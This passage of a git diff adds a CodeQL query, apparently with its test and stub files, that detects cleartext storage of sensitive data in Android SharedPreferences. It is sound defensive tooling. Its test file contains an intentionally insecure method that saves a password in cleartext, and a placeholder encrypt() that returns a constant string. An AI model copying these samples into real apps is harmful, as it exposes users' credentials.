+ In the first example, sensitive user information is stored in cleartext. +

+ +

+ In the second and third examples, the code encrypts sensitive information before saving to the device. +

+ +
+ + +
  • + CWE: + CWE-312: Cleartext Storage of Sensitive Information +
  • +
  • + Android Developers: + Work with data more securely +
  • +
  • + PRO ANDROID DEV: + Encrypted Preferences in Android +
  • +
    +
    diff --git a/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql new file mode 100644 index 00000000000..5807ea19684 --- /dev/null +++ b/java/ql/src/Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql @@ -0,0 +1,22 @@ +/** + * @name Cleartext storage of sensitive information using `SharedPreferences` on Android + * @description Cleartext Storage of Sensitive Information using SharedPreferences on Android allows user with root privileges to access or unexpected exposure from chained vulnerabilities. + * @kind problem + * @id java/android/cleartext-storage-shared-prefs + * @tags security + * external/cwe/cwe-312 + */ + +import java +import SensitiveStorage + +from SensitiveSource data, SharedPreferencesEditor s, Expr input, Expr store +where + input = s.getAnInput() and + store = s.getAStore() and + data.flowsToCached(input) and + // Exclude results in test code. + not testMethod(store.getEnclosingCallable()) and + not testMethod(data.getEnclosingCallable()) +select store, "'SharedPreferences' class $@ containing $@ is stored here. Data was added $@.", s, + s.toString(), data, "sensitive data", input, "here" diff --git a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll index b07105e3bf5..a63d5e43891 100644 --- a/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll +++ b/java/ql/src/Security/CWE/CWE-312/SensitiveStorage.qll @@ -1,6 +1,7 @@ import java import semmle.code.java.frameworks.Properties import semmle.code.java.frameworks.JAXB +import semmle.code.java.frameworks.android.SharedPreferences import semmle.code.java.dataflow.TaintTracking import semmle.code.java.dataflow.DataFlow3 import semmle.code.java.dataflow.DataFlow4 @@ -28,6 +29,10 @@ private class SensitiveSourceFlowConfig extends TaintTracking::Configuration { m.getMethod() instanceof PropertiesSetPropertyMethod and sink.asExpr() = m.getArgument(1) ) or + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferencesSetMethod and sink.asExpr() = m.getArgument(1) + ) + or sink.asExpr() = getInstanceInput(_, _) } @@ -243,3 +248,72 @@ class Marshallable extends ClassStore { ) } } + +/* Holds if the method call is a setter method of `SharedPreferences`. */ +private predicate sharedPreferencesInput(DataFlow::Node sharedPrefs, Expr input) { + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferencesSetMethod and + input = m.getArgument(1) and + sharedPrefs.asExpr() = m.getQualifier() + ) +} + +/* Holds if the method call is the save method of `SharedPreferences`. */ +private predicate sharedPreferencesStore(DataFlow::Node sharedPrefs, Expr store) { + exists(MethodAccess m | + m.getMethod() instanceof SharedPreferencesStoreMethod and + store = m and + sharedPrefs.asExpr() = m.getQualifier() + ) +} + +/* Flow from `SharedPreferences` to the method call changing its value. */ +class SharedPreferencesFlowConfig extends TaintTracking::Configuration { + SharedPreferencesFlowConfig() { this = "SensitiveStorage::SharedPreferencesFlowConfig" } + + override predicate isSource(DataFlow::Node src) { + src.asExpr() instanceof SharedPreferencesEditor + } + + override predicate isSink(DataFlow::Node sink) { + sharedPreferencesInput(sink, _) or + sharedPreferencesStore(sink, _) + } + + override predicate isSanitizer(DataFlow::Node n) { + exists(MethodAccess ma | + ma.getMethod().getName().toLowerCase().matches("%encrypt%") and + n.asExpr() = ma.getAnArgument() + ) + } +} + +/** The call to get a `SharedPreferences.Editor` object, which can set shared preferences or be stored to device. */ +class SharedPreferencesEditor extends MethodAccess { + SharedPreferencesEditor() { + this.getMethod() instanceof SharedPreferencesGetEditorMethod and + not exists( + MethodAccess cma // not exists `SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(...)` + | + cma.getQualifier().getType() instanceof TypeEncryptedSharedPreferences and + cma.getMethod().hasName("create") and + cma.getParent().(VariableAssign).getDestVar().getAnAccess() = this.getQualifier() + ) + } + + /** Gets an input, for example `input` in `editor.putString("password", password);`. */ + Expr getAnInput() { + exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | + sharedPreferencesInput(n, result) and + conf.hasFlow(DataFlow::exprNode(this), n) + ) + } + + /** Gets a store, for example `editor.commit();`. */ + Expr getAStore() { + exists(SharedPreferencesFlowConfig conf, DataFlow::Node n | + sharedPreferencesStore(n, result) and + conf.hasFlow(DataFlow::exprNode(this), n) + ) + } +} diff --git a/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll new file mode 100644 index 00000000000..7ac1f3bb1df --- /dev/null +++ b/java/ql/src/semmle/code/java/frameworks/android/SharedPreferences.qll @@ -0,0 +1,52 @@ +/* Definitions related to `android.content.SharedPreferences`. */ +import semmle.code.java.Type + +/* The interface `android.content.SharedPreferences` */ +library class TypeSharedPreferences extends Interface { + TypeSharedPreferences() { hasQualifiedName("android.content", "SharedPreferences") } +} + +/* The class `androidx.security.crypto.EncryptedSharedPreferences`, which implements `SharedPreferences` with encryption support. */ +library class TypeEncryptedSharedPreferences extends Class { + TypeEncryptedSharedPreferences() { + hasQualifiedName("androidx.security.crypto", "EncryptedSharedPreferences") + } +} + +/* A getter method of `android.content.SharedPreferences`. */ +library class SharedPreferencesGetMethod extends Method { + SharedPreferencesGetMethod() { + getDeclaringType() instanceof TypeSharedPreferences and + getName().matches("get%") + } +} + +/* Returns `android.content.SharedPreferences.Editor` from the `edit` call of `android.content.SharedPreferences`. */ +library class SharedPreferencesGetEditorMethod extends Method { + SharedPreferencesGetEditorMethod() { + getDeclaringType() instanceof TypeSharedPreferences and + hasName("edit") and + getReturnType() instanceof TypeSharedPreferencesEditor + } +} + +/* Definitions related to `android.content.SharedPreferences.Editor`. */ +library class TypeSharedPreferencesEditor extends Interface { + TypeSharedPreferencesEditor() { hasQualifiedName("android.content", "SharedPreferences$Editor") } +} + +/* A setter method for `android.content.SharedPreferences`. */ +library class SharedPreferencesSetMethod extends Method { + SharedPreferencesSetMethod() { + getDeclaringType() instanceof TypeSharedPreferencesEditor and + getName().matches("put%") + } +} + +/* A setter method for `android.content.SharedPreferences`. */ +library class SharedPreferencesStoreMethod extends Method { + SharedPreferencesStoreMethod() { + getDeclaringType() instanceof TypeSharedPreferencesEditor and + hasName(["commit", "apply"]) + } +} diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected new file mode 100644 index 00000000000..63ddf22798c --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.expected @@ -0,0 +1 @@ +| ClearTextStorageSharedPrefs.java:16:3:16:17 | commit(...) | 'SharedPreferences' class $@ containing $@ is stored here. Data was added $@. | ClearTextStorageSharedPrefs.java:13:19:13:36 | edit(...) | edit(...) | ClearTextStorageSharedPrefs.java:15:32:15:39 | password | sensitive data | ClearTextStorageSharedPrefs.java:15:32:15:39 | password | here | diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java new file mode 100644 index 00000000000..73423a065cc --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.java @@ -0,0 +1,54 @@ +import android.app.Activity; +import android.content.Context; +import android.content.SharedPreferences; +import android.content.SharedPreferences.Editor; +import androidx.security.crypto.MasterKey; +import androidx.security.crypto.EncryptedSharedPreferences; + +/** Android activity that tests saving sensitive information in `SharedPreferences` */ +public class ClearTextStorageSharedPrefs extends Activity { + // BAD - save sensitive information in cleartext + public void testSetSharedPrefs1(Context context, String name, String password) { + SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); + Editor editor = sharedPrefs.edit(); + editor.putString("name", name); + editor.putString("password", password); + editor.commit(); + } + + // GOOD - save sensitive information in encrypted format + public void testSetSharedPrefs2(Context context, String name, String password) { + SharedPreferences sharedPrefs = context.getSharedPreferences("user_prefs", Context.MODE_PRIVATE); + Editor editor = sharedPrefs.edit(); + editor.putString("name", encrypt(name)); + editor.putString("password", encrypt(password)); + editor.commit(); + } + + private static String encrypt(String cleartext) { + //Use an encryption or hashing algorithm in real world. The demo below just returns an arbitrary value. + String cipher = "whatever_encrypted"; + return cipher; + } + + // GOOD - save sensitive information using the built-in `EncryptedSharedPreferences` class in androidx. + public void testSetSharedPrefs3(Context context, String name, String password) { + MasterKey masterKey = new MasterKey.Builder(context, MasterKey.DEFAULT_MASTER_KEY_ALIAS) + .setKeyScheme(MasterKey.KeyScheme.AES256_GCM) + .build(); + + SharedPreferences sharedPreferences = EncryptedSharedPreferences.create( + context, + "secret_shared_prefs", + masterKey, + EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV, + EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM); + + // Use the shared preferences and editor as you normally would + SharedPreferences.Editor editor = sharedPreferences.edit(); + editor.putString("name", name); + editor.putString("password", password); + editor.commit(); + } + +} \ No newline at end of file diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref new file mode 100644 index 00000000000..a7547b790fd --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/ClearTextStorageSharedPrefs.qlref @@ -0,0 +1 @@ +Security/CWE/CWE-312/ClearTextStorageSharedPrefs.ql diff --git a/java/ql/test/experimental/query-tests/security/CWE-312/options b/java/ql/test/experimental/query-tests/security/CWE-312/options new file mode 100644 index 00000000000..43e25f608b6 --- /dev/null +++ b/java/ql/test/experimental/query-tests/security/CWE-312/options @@ -0,0 +1 @@ +// semmle-extractor-options: --javac-args -cp ${testdir}/../../../../stubs/google-android-9.0.0 diff --git a/java/ql/test/stubs/google-android-9.0.0/android/content/Context.java b/java/ql/test/stubs/google-android-9.0.0/android/content/Context.java index e1ce2140a06..6507cbd371d 100644 --- a/java/ql/test/stubs/google-android-9.0.0/android/content/Context.java +++ b/java/ql/test/stubs/google-android-9.0.0/android/content/Context.java @@ -26,6 +26,84 @@ import android.os.Bundle; * broadcasting and receiving intents, etc. */ public abstract class Context { + /** + * File creation mode: the default mode, where the created file can only + * be accessed by the calling application (or all applications sharing the + * same user ID). + * @see #MODE_WORLD_READABLE + * @see #MODE_WORLD_WRITEABLE + */ + public static final int MODE_PRIVATE = 0x0000; + + /** + * @deprecated Creating world-readable files is very dangerous, and likely + * to cause security holes in applications. It is strongly discouraged; + * instead, applications should use more formal mechanism for interactions + * such as {@link ContentProvider}, {@link BroadcastReceiver}, and + * {@link android.app.Service}. There are no guarantees that this + * access mode will remain on a file, such as when it goes through a + * backup and restore. + * File creation mode: allow all other applications to have read access + * to the created file. + * @see #MODE_PRIVATE + * @see #MODE_WORLD_WRITEABLE + */ + @Deprecated + public static final int MODE_WORLD_READABLE = 0x0001; + + /** + * @deprecated Creating world-writable files is very dangerous, and likely + * to cause security holes in applications. It is strongly discouraged; + * instead, applications should use more formal mechanism for interactions + * such as {@link ContentProvider}, {@link BroadcastReceiver}, and + * {@link android.app.Service}. There are no guarantees that this + * access mode will remain on a file, such as when it goes through a + * backup and restore. + * File creation mode: allow all other applications to have write access + * to the created file. + * @see #MODE_PRIVATE + * @see #MODE_WORLD_READABLE + */ + @Deprecated + public static final int MODE_WORLD_WRITEABLE = 0x0002; + + /** + * File creation mode: for use with {@link #openFileOutput}, if the file + * already exists then write data to the end of the existing file + * instead of erasing it. + * @see #openFileOutput + */ + public static final int MODE_APPEND = 0x8000; + + /** + * SharedPreference loading flag: when set, the file on disk will + * be checked for modification even if the shared preferences + * instance is already loaded in this process. This behavior is + * sometimes desired in cases where the application has multiple + * processes, all writing to the same SharedPreferences file. + * Generally there are better forms of communication between + * processes, though. + * + *

    This was the legacy (but undocumented) behavior in and + * before Gingerbread (Android 2.3) and this flag is implied when + * targetting such releases. For applications targetting SDK + * versions greater than Android 2.3, this flag must be + * explicitly set if desired. + * + * @see #getSharedPreferences + */ + public static final int MODE_MULTI_PROCESS = 0x0004; + + /** + * Database open flag: when set, the database is opened with write-ahead + * logging enabled by default. + * + * @see #openOrCreateDatabase(String, int, CursorFactory) + * @see #openOrCreateDatabase(String, int, CursorFactory, DatabaseErrorHandler) + * @see SQLiteDatabase#enableWriteAheadLogging + */ + public static final int MODE_ENABLE_WRITE_AHEAD_LOGGING = 0x0008; + /** * Return the context of the single, global Application object of the current * process. This generally should only be used if you need a Context whose @@ -76,19 +154,42 @@ public abstract class Context { public abstract File getFileStreamPath(String name); /** - * Returns the absolute path on the filesystem where a file created with - * {@link #getSharedPreferences(String, int)} is stored. - *

    - * The returned path may change over time if the calling app is moved to an - * adopted storage device, so only relative paths should be persisted. + * {@hide} + * Return the full path to the shared prefs file for the given prefs group name. * - * @param name The name of the shared preferences for which you would like to - * get a path. - * @return An absolute path to the given file. - * @see #getSharedPreferences(String, int) - * @removed + *

    Note: this is not generally useful for applications, since they should + * not be directly accessing the file system. */ - public abstract File getSharedPreferencesPath(String name); + public abstract File getSharedPrefsFile(String name); + + /** + * Retrieve and hold the contents of the preferences file 'name', returning + * a SharedPreferences through which you can retrieve and modify its + * values. Only one instance of the SharedPreferences object is returned + * to any callers for the same name, meaning they will see each other's + * edits as soon as they are made. + * + * @param name Desired preferences file. If a preferences file by this name + * does not exist, it will be created when you retrieve an + * editor (SharedPreferences.edit()) and then commit changes (Editor.commit()). + * @param mode Operating mode. Use 0 or {@link #MODE_PRIVATE} for the + * default operation, {@link #MODE_WORLD_READABLE} + * and {@link #MODE_WORLD_WRITEABLE} to control permissions. The bit + * {@link #MODE_MULTI_PROCESS} can also be used if multiple processes + * are mutating the same SharedPreferences file. {@link #MODE_MULTI_PROCESS} + * is always on in apps targetting Gingerbread (Android 2.3) and below, and + * off by default in later versions. + * + * @return Returns the single SharedPreferences instance that can be used + * to retrieve and modify the preference values. + * + * @see #MODE_PRIVATE + * @see #MODE_WORLD_READABLE + * @see #MODE_WORLD_WRITEABLE + * @see #MODE_MULTI_PROCESS + */ + public abstract SharedPreferences getSharedPreferences(String name, + int mode); /** * Returns the absolute path to the directory on the filesystem where all diff --git a/java/ql/test/stubs/google-android-9.0.0/android/content/SharedPreferences.java b/java/ql/test/stubs/google-android-9.0.0/android/content/SharedPreferences.java new file mode 100644 index 00000000000..faac2f1d41e --- /dev/null +++ b/java/ql/test/stubs/google-android-9.0.0/android/content/SharedPreferences.java @@ -0,0 +1,362 @@ +/* + * Copyright (C) 2006 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package android.content; + +import java.util.Map; +import java.util.Set; +/** + * Interface for accessing and modifying preference data returned by {@link + * Context#getSharedPreferences}. For any particular set of preferences, + * there is a single instance of this class that all clients share. + * Modifications to the preferences must go through an {@link Editor} object + * to ensure the preference values remain in a consistent state and control + * when they are committed to storage. Objects that are returned from the + * various get methods must be treated as immutable by the application. + * + *

    Note: currently this class does not support use across multiple + * processes. This will be added later. + * + *

    + *

    Developer Guides

    + *

    For more information about using SharedPreferences, read the + * Data Storage + * developer guide.

    + * + * @see Context#getSharedPreferences + */ +public interface SharedPreferences { + /** + * Interface definition for a callback to be invoked when a shared + * preference is changed. + */ + public interface OnSharedPreferenceChangeListener { + /** + * Called when a shared preference is changed, added, or removed. This + * may be called even if a preference is set to its existing value. + * + *

    This callback will be run on your main thread. + * + * @param sharedPreferences The {@link SharedPreferences} that received + * the change. + * @param key The key of the preference that was changed, added, or + * removed. + */ + void onSharedPreferenceChanged(SharedPreferences sharedPreferences, String key); + } + + /** + * Interface used for modifying values in a {@link SharedPreferences} + * object. All changes you make in an editor are batched, and not copied + * back to the original {@link SharedPreferences} until you call {@link #commit} + * or {@link #apply} + */ + public interface Editor { + /** + * Set a String value in the preferences editor, to be written back once + * {@link #commit} or {@link #apply} are called. + * + * @param key The name of the preference to modify. + * @param value The new value for the preference. Supplying {@code null} + * as the value is equivalent to calling {@link #remove(String)} with + * this key. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putString(String key, String value); + + /** + * Set a set of String values in the preferences editor, to be written + * back once {@link #commit} is called. + * + * @param key The name of the preference to modify. + * @param values The set of new values for the preference. Passing {@code null} + * for this argument is equivalent to calling {@link #remove(String)} with + * this key. + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putStringSet(String key, Set values); + + /** + * Set an int value in the preferences editor, to be written back once + * {@link #commit} or {@link #apply} are called. + * + * @param key The name of the preference to modify. + * @param value The new value for the preference. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putInt(String key, int value); + + /** + * Set a long value in the preferences editor, to be written back once + * {@link #commit} or {@link #apply} are called. + * + * @param key The name of the preference to modify. + * @param value The new value for the preference. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putLong(String key, long value); + + /** + * Set a float value in the preferences editor, to be written back once + * {@link #commit} or {@link #apply} are called. + * + * @param key The name of the preference to modify. + * @param value The new value for the preference. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putFloat(String key, float value); + + /** + * Set a boolean value in the preferences editor, to be written back + * once {@link #commit} or {@link #apply} are called. + * + * @param key The name of the preference to modify. + * @param value The new value for the preference. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor putBoolean(String key, boolean value); + /** + * Mark in the editor that a preference value should be removed, which + * will be done in the actual preferences once {@link #commit} is + * called. + * + *

    Note that when committing back to the preferences, all removals + * are done first, regardless of whether you called remove before + * or after put methods on this editor. + * + * @param key The name of the preference to remove. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor remove(String key); + /** + * Mark in the editor to remove all values from the + * preferences. Once commit is called, the only remaining preferences + * will be any that you have defined in this editor. + * + *

    Note that when committing back to the preferences, the clear + * is done first, regardless of whether you called clear before + * or after put methods on this editor. + * + * @return Returns a reference to the same Editor object, so you can + * chain put calls together. + */ + Editor clear(); + /** + * Commit your preferences changes back from this Editor to the + * {@link SharedPreferences} object it is editing. This atomically + * performs the requested modifications, replacing whatever is currently + * in the SharedPreferences. + * + *

    Note that when two editors are modifying preferences at the same + * time, the last one to call commit wins. + * + *

    If you don't care about the return value and you're + * using this from your application's main thread, consider + * using {@link #apply} instead. + * + * @return Returns true if the new values were successfully written + * to persistent storage. + */ + boolean commit(); + /** + * Commit your preferences changes back from this Editor to the + * {@link SharedPreferences} object it is editing. This atomically + * performs the requested modifications, replacing whatever is currently + * in the SharedPreferences. + * + *

    Note that when two editors are modifying preferences at the same + * time, the last one to call apply wins. + * + *

    Unlike {@link #commit}, which writes its preferences out + * to persistent storage synchronously, {@link #apply} + * commits its changes to the in-memory + * {@link SharedPreferences} immediately but starts an + * asynchronous commit to disk and you won't be notified of + * any failures. If another editor on this + * {@link SharedPreferences} does a regular {@link #commit} + * while a {@link #apply} is still outstanding, the + * {@link #commit} will block until all async commits are + * completed as well as the commit itself. + * + *

    As {@link SharedPreferences} instances are singletons within + * a process, it's safe to replace any instance of {@link #commit} with + * {@link #apply} if you were already ignoring the return value. + * + *

    You don't need to worry about Android component + * lifecycles and their interaction with apply() + * writing to disk. The framework makes sure in-flight disk + * writes from apply() complete before switching + * states. + * + *

    The SharedPreferences.Editor interface + * isn't expected to be implemented directly. However, if you + * previously did implement it and are now getting errors + * about missing apply(), you can simply call + * {@link #commit} from apply(). + */ + void apply(); + } + /** + * Retrieve all values from the preferences. + * + *

    Note that you must not modify the collection returned + * by this method, or alter any of its contents. The consistency of your + * stored data is not guaranteed if you do. + * + * @return Returns a map containing a list of pairs key/value representing + * the preferences. + * + * @throws NullPointerException + */ + Map getAll(); + /** + * Retrieve a String value from the preferences. + * + * @param key The name of the preference to retrieve. + * @param defValue Value to return if this preference does not exist. + * + * @return Returns the preference value if it exists, or defValue. Throws + * ClassCastException if there is a preference with this name that is not + * a String. + * + * @throws ClassCastException + */ + String getString(String key, String defValue); + + /** + * Retrieve a set of String values from the preferences. + * + *

    Note that you must not modify the set instance returned + * by this call. The consistency of the stored data is not guaranteed + * if you do, nor is your ability to modify the instance at all. + * + * @param key The name of the preference to retrieve. + * @param defValues Values to return if this preference does not exist. + * + * @return Returns the preference values if they exist, or defValues. + * Throws ClassCastException if there is a preference with this name + * that is not a Set. + * + * @throws ClassCastException + */ + Set getStringSet(String key, Set defValues); + + /** + * Retrieve an int value from the preferences. + * + * @param key The name of the preference to retrieve. + * @param defValue Value to return if this preference does not exist. + * + * @return Returns the preference value if it exists, or defValue. Throws + * ClassCastException if there is a preference with this name that is not + * an int. + * + * @throws ClassCastException + */ + int getInt(String key, int defValue); + + /** + * Retrieve a long value from the preferences. + * + * @param key The name of the preference to retrieve. + * @param defValue Value to return if this preference does not exist. + * + * @return Returns the preference value if it exists, or defValue. Throws + * ClassCastException if there is a preference with this name that is not + * a long. + * + * @throws ClassCastException + */ + long getLong(String key, long defValue); + + /** + * Retrieve a float value from the preferences. + * + * @param key The name of the preference to retrieve. + * @param defValue Value to return if this preference does not exist. + * + * @return Returns the preference value if it exists, or defValue. Throws + * ClassCastException if there is a preference with this name that is not + * a float. + * + * @throws ClassCastException + */ + float getFloat(String key, float defValue); + + /** + * Retrieve a boolean value from the preferences. + * + * @param key The name of the preference to retrieve. + * @param defValue Value to return if this preference does not exist. + * + * @return Returns the preference value if it exists, or defValue. Throws + * ClassCastException if there is a preference with this name that is not + * a boolean. + * + * @throws ClassCastException + */ + boolean getBoolean(String key, boolean defValue); + /** + * Checks whether the preferences contains a preference. + * + * @param key The name of the preference to check. + * @return Returns true if the preference exists in the preferences, + * otherwise false. + */ + boolean contains(String key); + + /** + * Create a new Editor for these preferences, through which you can make + * modifications to the data in the preferences and atomically commit those + * changes back to the SharedPreferences object. + * + *

    Note that you must call {@link Editor#commit} to have any + * changes you perform in the Editor actually show up in the + * SharedPreferences. + * + * @return Returns a new instance of the {@link Editor} interface, allowing + * you to modify the values in this SharedPreferences object. + */ + Editor edit(); + + /** + * Registers a callback to be invoked when a change happens to a preference. + * + * @param listener The callback that will run. + * @see #unregisterOnSharedPreferenceChangeListener + */ + void registerOnSharedPreferenceChangeListener(OnSharedPreferenceChangeListener listener); + + /** + * Unregisters a previous callback. + * + * @param listener The callback that should be unregistered. + * @see #registerOnSharedPreferenceChangeListener + */ + void unregisterOnSharedPreferenceChangeListener(OnSharedPreferenceChangeListener listener); +} diff --git a/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java new file mode 100644 index 00000000000..db918d448f2 --- /dev/null +++ b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/EncryptedSharedPreferences.java @@ -0,0 +1,171 @@ +/* + * Copyright 2019 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package androidx.security.crypto; + +import android.content.Context; +import android.content.SharedPreferences; +import java.io.IOException; +import java.security.GeneralSecurityException; + +import java.util.Map; +import java.util.Set; + +/** + * An implementation of {@link SharedPreferences} that encrypts keys and values. + * + *

    + *  String masterKeyAlias = MasterKeys.getOrCreate(MasterKeys.AES256_GCM_SPEC);
    + *
    + *  SharedPreferences sharedPreferences = EncryptedSharedPreferences.create(
    + *      "secret_shared_prefs",
    + *      masterKeyAlias,
    + *      context,
    + *      EncryptedSharedPreferences.PrefKeyEncryptionScheme.AES256_SIV,
    + *      EncryptedSharedPreferences.PrefValueEncryptionScheme.AES256_GCM
    + *  );
    + *
    + *  // use the shared preferences and editor as you normally would
    + *  SharedPreferences.Editor editor = sharedPreferences.edit();
    + * 
    + */ +public final class EncryptedSharedPreferences implements SharedPreferences { + /** + * Opens an instance of encrypted SharedPreferences + * + * @param fileName The name of the file to open; can not contain path + * separators. + * @param masterKey The master key to use. + * @param prefKeyEncryptionScheme The scheme to use for encrypting keys. + * @param prefValueEncryptionScheme The scheme to use for encrypting values. + * @return The SharedPreferences instance that encrypts all data. + * @throws GeneralSecurityException when a bad master key or keyset has been attempted + * @throws IOException when fileName can not be used + */ + public static SharedPreferences create(Context context, + String fileName, + MasterKey masterKey, + PrefKeyEncryptionScheme prefKeyEncryptionScheme, + PrefValueEncryptionScheme prefValueEncryptionScheme) + throws GeneralSecurityException, IOException { + return null; + } + + /** + * Opens an instance of encrypted SharedPreferences + * + * @param fileName The name of the file to open; can not contain path + * separators. + * @param masterKeyAlias The alias of the master key to use. + * @param context The context to use to open the preferences file. + * @param prefKeyEncryptionScheme The scheme to use for encrypting keys. + * @param prefValueEncryptionScheme The scheme to use for encrypting values. + * @return The SharedPreferences instance that encrypts all data. + * @throws GeneralSecurityException when a bad master key or keyset has been attempted + * @throws IOException when fileName can not be used + * @deprecated Use {@link #create(Context, String, MasterKey, + * PrefKeyEncryptionScheme, PrefValueEncryptionScheme)} instead. + */ + @Deprecated + public static SharedPreferences create(String fileName, + String masterKeyAlias, + Context context, + PrefKeyEncryptionScheme prefKeyEncryptionScheme, + PrefValueEncryptionScheme prefValueEncryptionScheme) + throws GeneralSecurityException, IOException { + } + + /** + * The encryption scheme to encrypt keys. + */ + public enum PrefKeyEncryptionScheme { + /** + * Pref keys are encrypted deterministically with AES256-SIV-CMAC (RFC 5297). + * + * For more information please see the Tink documentation: + * + * AesSivKeyManager.aes256SivTemplate() + */ + AES256_SIV; + } + /** + * The encryption scheme to encrypt values. + */ + public enum PrefValueEncryptionScheme { + /** + * Pref values are encrypted with AES256-GCM. The associated data is the encrypted pref key. + * + * For more information please see the Tink documentation: + * + * AesGcmKeyManager.aes256GcmTemplate() + */ + AES256_GCM; + } + + // SharedPreferences methods + @Override + public Map getAll() { + return null; + } + + @Override + public String getString(String key, String defValue) { + return null; + } + + @Override + public Set getStringSet(String key, Set defValues) { + return null; + } + + @Override + public int getInt(String key, int defValue) { + return -1; + } + + @Override + public long getLong(String key, long defValue) { + return -1; + } + + @Override + public float getFloat(String key, float defValue) { + return -1; + } + + @Override + public boolean getBoolean(String key, boolean defValue) { + return false; + } + + @Override + public boolean contains(String key) { + return false; + } + + @Override + public SharedPreferences.Editor edit() { + return null; + } + + @Override + public void registerOnSharedPreferenceChangeListener( + OnSharedPreferenceChangeListener listener) { + } + @Override + public void unregisterOnSharedPreferenceChangeListener( + OnSharedPreferenceChangeListener listener) { + } +} \ No newline at end of file diff --git a/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/MasterKey.java b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/MasterKey.java new file mode 100644 index 00000000000..c8f696db300 --- /dev/null +++ b/java/ql/test/stubs/google-android-9.0.0/androidx/security/crypto/MasterKey.java @@ -0,0 +1,191 @@ +/* + * Copyright 2020 The Android Open Source Project + * + * Licensed under the Apache License, Version 2.0 (the "License"); + * you may not use this file except in compliance with the License. + * You may obtain a copy of the License at + * + * http://www.apache.org/licenses/LICENSE-2.0 + * + * Unless required by applicable law or agreed to in writing, software + * distributed under the License is distributed on an "AS IS" BASIS, + * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. + * See the License for the specific language governing permissions and + * limitations under the License. + */ +package androidx.security.crypto; + +import android.content.Context; + +import java.io.IOException; +import java.security.GeneralSecurityException; + +/** + * Wrapper for a master key used in the library. + * + * On Android M (API 23) and above, this is class references a key that's stored in the + * Android Keystore. On Android L (API 21, 22), there isn't a master key. + */ +public final class MasterKey { + static final String KEYSTORE_PATH_URI = "android-keystore://"; + /** + * The default master key alias. + */ + public static final String DEFAULT_MASTER_KEY_ALIAS = "_androidx_security_master_key_"; + + /** + * The default and recommended size for the master key. + */ + public static final int DEFAULT_AES_GCM_MASTER_KEY_SIZE = 256; + + /** + * Algorithm/Cipher choices used for the master key. + */ + public enum KeyScheme { + AES256_GCM + } + + /** + * The default validity period for authentication in seconds. + */ + public static int getDefaultAuthenticationValidityDurationSeconds() { + return -1; + } + + /* package */ MasterKey(String keyAlias, Object keyGenParameterSpec) { + } + + /** + * Checks if this key is backed by the Android Keystore. + * + * @return {@code true} if the key is in Android Keystore, {@code false} otherwise. This + * method always returns false when called on Android Lollipop (API 21 and 22). + */ + public boolean isKeyStoreBacked() { + return false; + } + + /** + * Gets whether user authentication is required to use this key. + * + * This method always returns {@code false} on Android L (API 21 + 22). + */ + public boolean isUserAuthenticationRequired() { + return false; + } + + /** + * Gets the duration in seconds that the key is unlocked for following user authentication. + * + * The value returned for this method is only meaningful on Android M+ (API 23) when + * {@link #isUserAuthenticationRequired()} returns {@code true}. + * + * @return The duration the key is unlocked for in seconds. + */ + public int getUserAuthenticationValidityDurationSeconds() { + return -1; + } + + /** + * Gets whether the key is backed by strong box. + */ + public boolean isStrongBoxBacked() { + return false; + } + + /* package */ String getKeyAlias() { + 